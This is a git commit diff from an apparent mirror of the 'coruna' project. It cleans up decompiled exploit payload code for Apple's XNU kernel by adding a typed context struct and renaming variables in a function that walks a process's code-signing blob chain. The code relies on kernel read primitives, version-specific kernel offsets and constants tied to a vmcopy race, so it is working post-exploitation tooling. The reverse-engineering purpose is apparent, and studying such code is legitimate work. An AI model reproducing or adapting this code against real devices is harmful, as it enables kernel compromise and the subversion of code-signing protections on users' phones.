CalvinBackup/coruna
1
0
Fork 0
mirror of https://github.com/khanhduytran0/coruna.git synced 2026-08-28 21:10:38 +02:00
Code Issues Packages Projects Releases Wiki Activity

Type csblob chain walk context

Browse Source
This commit is contained in:
khanhduytran0
2026-06-16 06:20:57 +07:00
parent f3054c2009
commit 7729dc4bf6
1 changed files with 149 additions and 121 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/payload_377bed/entry1_type0x09.m
+149 -121
View File
@@ -1789,6 +1789,40 @@ struct xnu_runtime_info
uint32_t socDependentOffset; uint32_t socDependentOffset;
}; };
struct csblob_walk_ctx
{
uint32_t flags;
uint32_t reserved_0x4;
uint64_t csblobKaddr;
size_t blobSize;
uint64_t blobDataKaddr;
uint64_t chainHeadKaddr;
uint64_t teamIdOrEntitlementsKaddr;
uint32_t containerKind;
uint32_t reserved_0x34;
void *container;
uint32_t selectedSlot;
uint32_t pid;
uint32_t platformByte;
uint32_t specialSlotOffset;
uint32_t alternateSlotOffset;
uint32_t cmsBlobOffset;
uint32_t signatureOffset;
uint32_t minSlotDistanceQword;
uint32_t reserved_0x60;
};
typedef char csblob_walk_ctx_container_kind_offset_must_be_0x30[
__builtin_offsetof(struct csblob_walk_ctx, containerKind) == 0x30 ? 1 : -1];
typedef char csblob_walk_ctx_container_offset_must_be_0x38[
__builtin_offsetof(struct csblob_walk_ctx, container) == 0x38 ? 1 : -1];
typedef char csblob_walk_ctx_selected_slot_offset_must_be_0x40[
__builtin_offsetof(struct csblob_walk_ctx, selectedSlot) == 0x40 ? 1 : -1];
typedef char csblob_walk_ctx_pid_offset_must_be_0x44[
__builtin_offsetof(struct csblob_walk_ctx, pid) == 0x44 ? 1 : -1];
typedef char csblob_walk_ctx_min_slot_distance_offset_must_be_0x5c[
__builtin_offsetof(struct csblob_walk_ctx, minSlotDistanceQword) == 0x5c ? 1 : -1];
static const integer_t kVmcopyRaceLowPriorityPolicy[4] = { 0x20A51, 0x2710, 0x2711, 1 }; static const integer_t kVmcopyRaceLowPriorityPolicy[4] = { 0x20A51, 0x2710, 0x2711, 1 };
static const integer_t kVmcopyRaceHighPriorityPolicy[4] = { 0x3E8, 0xF4240, 0xF4241, 1 }; static const integer_t kVmcopyRaceHighPriorityPolicy[4] = { 0x3E8, 0xF4240, 0xF4241, 1 };
static const uint64_t kVmcopyFakePageMarkers[2] = { 0x43434343, 0x44444444 }; static const uint64_t kVmcopyFakePageMarkers[2] = { 0x43434343, 0x44444444 };
@@ -33026,24 +33060,24 @@ LABEL_11:
//----- (000000000002E5C0) ---------------------------------------------------- //----- (000000000002E5C0) ----------------------------------------------------
__int64 __fastcall csblob_chain_walk_offsets(struct_krwCtx *krwCtx, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5) __int64 __fastcall csblob_chain_walk_offsets(struct_krwCtx *krwCtx, unsigned int a2, __int64 *a3, unsigned __int8 a4, __int64 a5)
{ {
unsigned __int64 v8; // x0 struct csblob_walk_ctx *ctx; // x20
unsigned __int64 v9; // x23 unsigned __int64 csblobKaddr; // x23
__int64 v10; // x24 __int64 blobSizeOffset; // x24
__int64 v11; // x21 __int64 blobDataOffset; // x21
__int64 v12; // x27 __int64 flagsOffset; // x27
__int64 v13; // x25 __int64 specialSlotPtrOffset; // x25
__int64 v14; // x8 __int64 cmsBlobPtrOffset; // x8
__int64 v15; // x28 __int64 alternateSlotPtrOffset; // x28
__int64 v16; // x26 __int64 teamIdOrEntitlementsOffset; // x26
__int64 v17; // x24 __int64 v17; // x24
unsigned int *v18; // x0 unsigned int *v18; // x0
unsigned int *v19; // x21 unsigned int *blobBytes; // x21
size_t v20; // x8 size_t blobSize; // x8
unsigned __int64 v21; // x9 unsigned __int64 blobDataKaddr; // x9
unsigned __int64 v22; // x10 unsigned __int64 chainHeadKaddr; // x10
size_t v23; // x23 size_t specialSlotOffset; // x23
size_t v24; // x10 size_t alternateSlotOffset; // x10
size_t v25; // x10 size_t cmsBlobOffset; // x10
unsigned int v26; // w8 unsigned int v26; // w8
unsigned int v27; // w27 unsigned int v27; // w27
__int64 v28; // x28 __int64 v28; // x28
@@ -33071,134 +33105,128 @@ __int64 __fastcall csblob_chain_walk_offsets(struct_krwCtx *krwCtx, unsigned int
char *v52; // x24 char *v52; // x24
unsigned int *v53; // x0 unsigned int *v53; // x0
int v54; // [xsp+8h] [xbp-A8h] int v54; // [xsp+8h] [xbp-A8h]
unsigned int *v55; // [xsp+10h] [xbp-A0h] unsigned int *container; // [xsp+10h] [xbp-A0h]
__int64 v56; // [xsp+18h] [xbp-98h] BYREF __int64 teamIdOrEntitlementsKaddr; // [xsp+18h] [xbp-98h] BYREF
unsigned __int64 v57; // [xsp+20h] [xbp-90h] BYREF unsigned __int64 chainHeadOut; // [xsp+20h] [xbp-90h] BYREF
unsigned __int64 v58; // [xsp+28h] [xbp-88h] BYREF unsigned __int64 signatureKaddr; // [xsp+28h] [xbp-88h] BYREF
unsigned __int64 v59; // [xsp+30h] [xbp-80h] BYREF unsigned __int64 cmsBlobKaddr; // [xsp+30h] [xbp-80h] BYREF
unsigned __int64 v60; // [xsp+38h] [xbp-78h] BYREF unsigned __int64 alternateSlotKaddr; // [xsp+38h] [xbp-78h] BYREF
unsigned __int64 v61; // [xsp+40h] [xbp-70h] BYREF unsigned __int64 specialSlotKaddr; // [xsp+40h] [xbp-70h] BYREF
size_t __size; // [xsp+48h] [xbp-68h] BYREF size_t blobSizeRead; // [xsp+48h] [xbp-68h] BYREF
unsigned __int64 v63; // [xsp+50h] [xbp-60h] BYREF unsigned __int64 blobDataKaddrRead; // [xsp+50h] [xbp-60h] BYREF
int v64; // [xsp+5Ch] [xbp-54h] BYREF int csFlags; // [xsp+5Ch] [xbp-54h] BYREF
v64 = 0; csFlags = 0;
__size = 0; blobSizeRead = 0;
v63 = 0; blobDataKaddrRead = 0;
v60 = 0; alternateSlotKaddr = 0;
v61 = 0; specialSlotKaddr = 0;
v58 = 0; signatureKaddr = 0;
v59 = 0; cmsBlobKaddr = 0;
v56 = 0; teamIdOrEntitlementsKaddr = 0;
v57 = 0; chainHeadOut = 0;
if ( !a5 ) if ( !a5 )
return 0; return 0;
v8 = walk_task_csblob_chain(krwCtx, a2, a3, a4, &v57); ctx = (struct csblob_walk_ctx *)a5;
if ( !v8 ) csblobKaddr = walk_task_csblob_chain(krwCtx, a2, a3, a4, &chainHeadOut);
if ( !csblobKaddr )
return 0; return 0;
v9 = v8; blobSizeOffset = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 48LL : 64LL;
v10 = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 48LL : 64LL; blobDataOffset = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 64LL : 80LL;
v11 = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 64LL : 80LL; flagsOffset = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 16LL : 32LL;
v12 = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 16LL : 32LL; specialSlotPtrOffset = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 120LL : 128LL;
v13 = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 120LL : 128LL; cmsBlobPtrOffset = 136;
v14 = 136; alternateSlotPtrOffset = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 128LL : 136LL;
v15 = krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ? 128LL : 136LL;
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) ) if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
{ {
v16 = 24; teamIdOrEntitlementsOffset = 24;
} }
else else
{ {
v14 = 144; cmsBlobPtrOffset = 144;
v16 = 40; teamIdOrEntitlementsOffset = 40;
} }
if ( !kread_physmap_decorated(krwCtx, v14 + v8, &v59) if ( !kread_physmap_decorated(krwCtx, cmsBlobPtrOffset + csblobKaddr, &cmsBlobKaddr)
|| (krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) && !kread_physmap_decorated(krwCtx, v9 + 152, &v58)) || (krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) && !kread_physmap_decorated(krwCtx, csblobKaddr + 152, &signatureKaddr))
|| !kread_physmap_decorated(krwCtx, v13 + v9, &v61) || !kread_physmap_decorated(krwCtx, specialSlotPtrOffset + csblobKaddr, &specialSlotKaddr)
|| !kread_physmap_decorated(krwCtx, v15 + v9, &v60) || !kread_physmap_decorated(krwCtx, alternateSlotPtrOffset + csblobKaddr, &alternateSlotKaddr)
|| !kread_u32(krwCtx, v12 + v9, &v64) || !kread_u32(krwCtx, flagsOffset + csblobKaddr, &csFlags)
|| (v64 & 1) == 0 || (csFlags & 1) == 0
|| !kread_physmap_decorated(krwCtx, v10 + v9, &__size) || !kread_physmap_decorated(krwCtx, blobSizeOffset + csblobKaddr, &blobSizeRead)
|| !kread_physmap_decorated(krwCtx, v11 + v9, &v63) ) || !kread_physmap_decorated(krwCtx, blobDataOffset + csblobKaddr, &blobDataKaddrRead) )
{ {
return 0; return 0;
} }
v17 = 0; v17 = 0;
if ( v63 && __size ) if ( blobDataKaddrRead && blobSizeRead )
{ {
if ( (unsigned int)krw_read_thunk(krwCtx, v16 + v9, 8, &v56) ) if ( (unsigned int)krw_read_thunk(krwCtx, teamIdOrEntitlementsOffset + csblobKaddr, 8, &teamIdOrEntitlementsKaddr) )
{ {
v18 = (unsigned int *)malloc(__size); v18 = (unsigned int *)malloc(blobSizeRead);
if ( v18 ) if ( v18 )
{ {
v19 = v18; blobBytes = v18;
*(uint64_t *)(a5 + 96) = 0; memset(ctx, 0, sizeof(*ctx));
*(__int128 *)(a5 + 64) = 0u; if ( !(unsigned int)krw_read_thunk(krwCtx, blobDataKaddrRead, blobSizeRead, v18) )
*(__int128 *)(a5 + 80) = 0u;
*(__int128 *)(a5 + 32) = 0u;
*(__int128 *)(a5 + 48) = 0u;
*(__int128 *)a5 = 0u;
*(__int128 *)(a5 + 16) = 0u;
if ( !(unsigned int)krw_read_thunk(krwCtx, v63, __size, v18) )
goto LABEL_110; goto LABEL_110;
*(uint32_t *)a5 = v64; ctx->flags = csFlags;
v20 = __size; blobSize = blobSizeRead;
v21 = v63; blobDataKaddr = blobDataKaddrRead;
*(uint64_t *)(a5 + 8) = v9; ctx->csblobKaddr = csblobKaddr;
*(uint64_t *)(a5 + 16) = v20; ctx->blobSize = blobSize;
v22 = v57; chainHeadKaddr = chainHeadOut;
*(uint64_t *)(a5 + 24) = v21; ctx->blobDataKaddr = blobDataKaddr;
*(uint64_t *)(a5 + 32) = v22; ctx->chainHeadKaddr = chainHeadKaddr;
*(uint64_t *)(a5 + 40) = v56; ctx->teamIdOrEntitlementsKaddr = teamIdOrEntitlementsKaddr;
*(uint32_t *)(a5 + 68) = a2; ctx->pid = a2;
v23 = v61 ? (unsigned int)(v61 - v21) : 0LL; specialSlotOffset = specialSlotKaddr ? (unsigned int)(specialSlotKaddr - blobDataKaddr) : 0LL;
*(uint32_t *)(a5 + 76) = v23; ctx->specialSlotOffset = specialSlotOffset;
if ( v20 <= v23 ) if ( blobSize <= specialSlotOffset )
goto LABEL_110; goto LABEL_110;
v24 = v60 ? (unsigned int)(v60 - v21) : 0LL; alternateSlotOffset = alternateSlotKaddr ? (unsigned int)(alternateSlotKaddr - blobDataKaddr) : 0LL;
*(uint32_t *)(a5 + 80) = v24; ctx->alternateSlotOffset = alternateSlotOffset;
if ( (uint32_t)v24 ) if ( (uint32_t)alternateSlotOffset )
{ {
if ( v20 <= v24 && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) ) if ( blobSize <= alternateSlotOffset && ((krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 || krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)) )
goto LABEL_110; goto LABEL_110;
} }
v25 = v59 ? (unsigned int)(v59 - v21) : 0LL; cmsBlobOffset = cmsBlobKaddr ? (unsigned int)(cmsBlobKaddr - blobDataKaddr) : 0LL;
*(uint32_t *)(a5 + 84) = v25; ctx->cmsBlobOffset = cmsBlobOffset;
if ( (uint32_t)v25 ) if ( (uint32_t)cmsBlobOffset )
{ {
if ( v20 <= v25 ) if ( blobSize <= cmsBlobOffset )
goto LABEL_110; goto LABEL_110;
} }
LODWORD(v21) = v58 - v21; LODWORD(blobDataKaddr) = signatureKaddr - blobDataKaddr;
v21 = v58 ? (unsigned int)v21 : 0LL; blobDataKaddr = signatureKaddr ? (unsigned int)blobDataKaddr : 0LL;
*(uint32_t *)(a5 + 88) = v21; ctx->signatureOffset = blobDataKaddr;
if ( (uint32_t)v21 ) if ( (uint32_t)blobDataKaddr )
{ {
if ( v20 <= v21 ) if ( blobSize <= blobDataKaddr )
goto LABEL_110; goto LABEL_110;
} }
if ( *v19 == 34397946 ) if ( *blobBytes == 34397946 )
{ {
v55 = (unsigned int *)csblob_alloc_container(); container = (unsigned int *)csblob_alloc_container();
if ( !v55 ) if ( !container )
goto LABEL_110; goto LABEL_110;
v39 = csblob_dup_entry(v19); v39 = csblob_dup_entry(blobBytes);
if ( v39 ) if ( v39 )
{ {
v35 = v39; v35 = v39;
if ( (unsigned int)csblob_realloc_array(v55, 0, (__int64)v39) != -1 ) if ( (unsigned int)csblob_realloc_array(container, 0, (__int64)v39) != -1 )
{ {
LODWORD(v37) = 0; LODWORD(v37) = 0;
v40 = 0; v40 = 0;
*(uint32_t *)(a5 + 48) = 1; ctx->containerKind = 1;
*(uint64_t *)(a5 + 56) = v55; ctx->container = container;
*(uint32_t *)(a5 + 64) = 0; ctx->selectedSlot = 0;
LABEL_104: LABEL_104:
*(uint32_t *)(a5 + 92) = v37; ctx->minSlotDistanceQword = v37;
v53 = csblob_find_entry(a5, v40, -86111230); v53 = csblob_find_entry(a5, v40, -86111230);
if ( v53 ) if ( v53 )
{ {
*(uint32_t *)(a5 + 72) = *((unsigned __int8 *)v53 + 36); ctx->platformByte = *((unsigned __int8 *)v53 + 36);
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023)
|| !csblob_find_entry(a5, 7, -86085262) || !csblob_find_entry(a5, 7, -86085262)
|| csblob_find_entry(a5, 5, -86085263) || csblob_find_entry(a5, 5, -86085263)
@@ -33206,7 +33234,7 @@ LABEL_104:
{ {
v17 = 1; v17 = 1;
LABEL_111: LABEL_111:
free(v19); free(blobBytes);
return v17; return v17;
} }
} }
@@ -33221,18 +33249,18 @@ LABEL_83:
} }
else else
{ {
if ( *v19 != -1072898310 ) if ( *blobBytes != -1072898310 )
goto LABEL_110; goto LABEL_110;
v55 = (unsigned int *)csblob_alloc_container(); container = (unsigned int *)csblob_alloc_container();
if ( !v55 ) if ( !container )
goto LABEL_110; goto LABEL_110;
v54 = v23; v54 = specialSlotOffset;
v26 = v19[2]; v26 = blobBytes[2];
if ( v26 ) if ( v26 )
{ {
v27 = 0; v27 = 0;
v28 = bswap32(v26); v28 = bswap32(v26);
v29 = v19 + 4; v29 = blobBytes + 4;
while ( 1 ) while ( 1 )
{ {
v30 = v29; v30 = v29;
@@ -33240,12 +33268,12 @@ LABEL_83:
v32 = bswap32(*v29); v32 = bswap32(*v29);
if ( (unsigned int)v32 < v27 || v27 == 0 ) if ( (unsigned int)v32 < v27 || v27 == 0 )
v27 = v32; v27 = v32;
v34 = csblob_dup_entry((unsigned int *)((char *)v19 + v32)); v34 = csblob_dup_entry((unsigned int *)((char *)blobBytes + v32));
if ( !v34 ) if ( !v34 )
goto LABEL_84; goto LABEL_84;
v35 = v34; v35 = v34;
v36 = bswap32(v31); v36 = bswap32(v31);
if ( (unsigned int)csblob_realloc_array(v55, v36, (__int64)v34) == -1 ) if ( (unsigned int)csblob_realloc_array(container, v36, (__int64)v34) == -1 )
goto LABEL_83; goto LABEL_83;
if ( *v35 == 34397946 ) if ( *v35 == 34397946 )
{ {
@@ -33259,7 +33287,7 @@ LABEL_83:
{ {
v36 = 0; v36 = 0;
LABEL_74: LABEL_74:
*(uint32_t *)(a5 + 64) = v36; ctx->selectedSlot = v36;
} }
} }
LABEL_75: LABEL_75:
@@ -33273,15 +33301,15 @@ LABEL_75:
} }
LODWORD(v37) = -2; LODWORD(v37) = -2;
LABEL_86: LABEL_86:
v40 = *(uint32_t *)(a5 + 64); v40 = ctx->selectedSlot;
v41 = *v55; v41 = *container;
if ( !(uint32_t)v41 ) if ( !(uint32_t)v41 )
goto LABEL_103; goto LABEL_103;
v42 = 0; v42 = 0;
v43 = 0; v43 = 0;
v44 = 0; v44 = 0;
v45 = 0; v45 = 0;
v46 = (unsigned int **)(*((uint64_t *)v55 + 1) + 8LL); v46 = (unsigned int **)(*((uint64_t *)container + 1) + 8LL);
do do
{ {
v47 = *((uint32_t *)v46 - 2); v47 = *((uint32_t *)v46 - 2);
@@ -33310,16 +33338,16 @@ LABEL_86:
{ {
v52 = v51; v52 = v51;
bzero(&v51[v49], v50 - v49); bzero(&v51[v49], v50 - v49);
*(uint64_t *)(*((uint64_t *)v55 + 1) + 16LL * v45 + 8) = v52; *(uint64_t *)(*((uint64_t *)container + 1) + 16LL * v45 + 8) = v52;
v40 = *(uint32_t *)(a5 + 64); v40 = ctx->selectedSlot;
LABEL_103: LABEL_103:
*(uint32_t *)(a5 + 48) = 1; ctx->containerKind = 1;
*(uint64_t *)(a5 + 56) = v55; ctx->container = container;
goto LABEL_104; goto LABEL_104;
} }
} }
LABEL_84: LABEL_84:
csblob_free_array(v55); csblob_free_array(container);
goto LABEL_110; goto LABEL_110;
} }
} }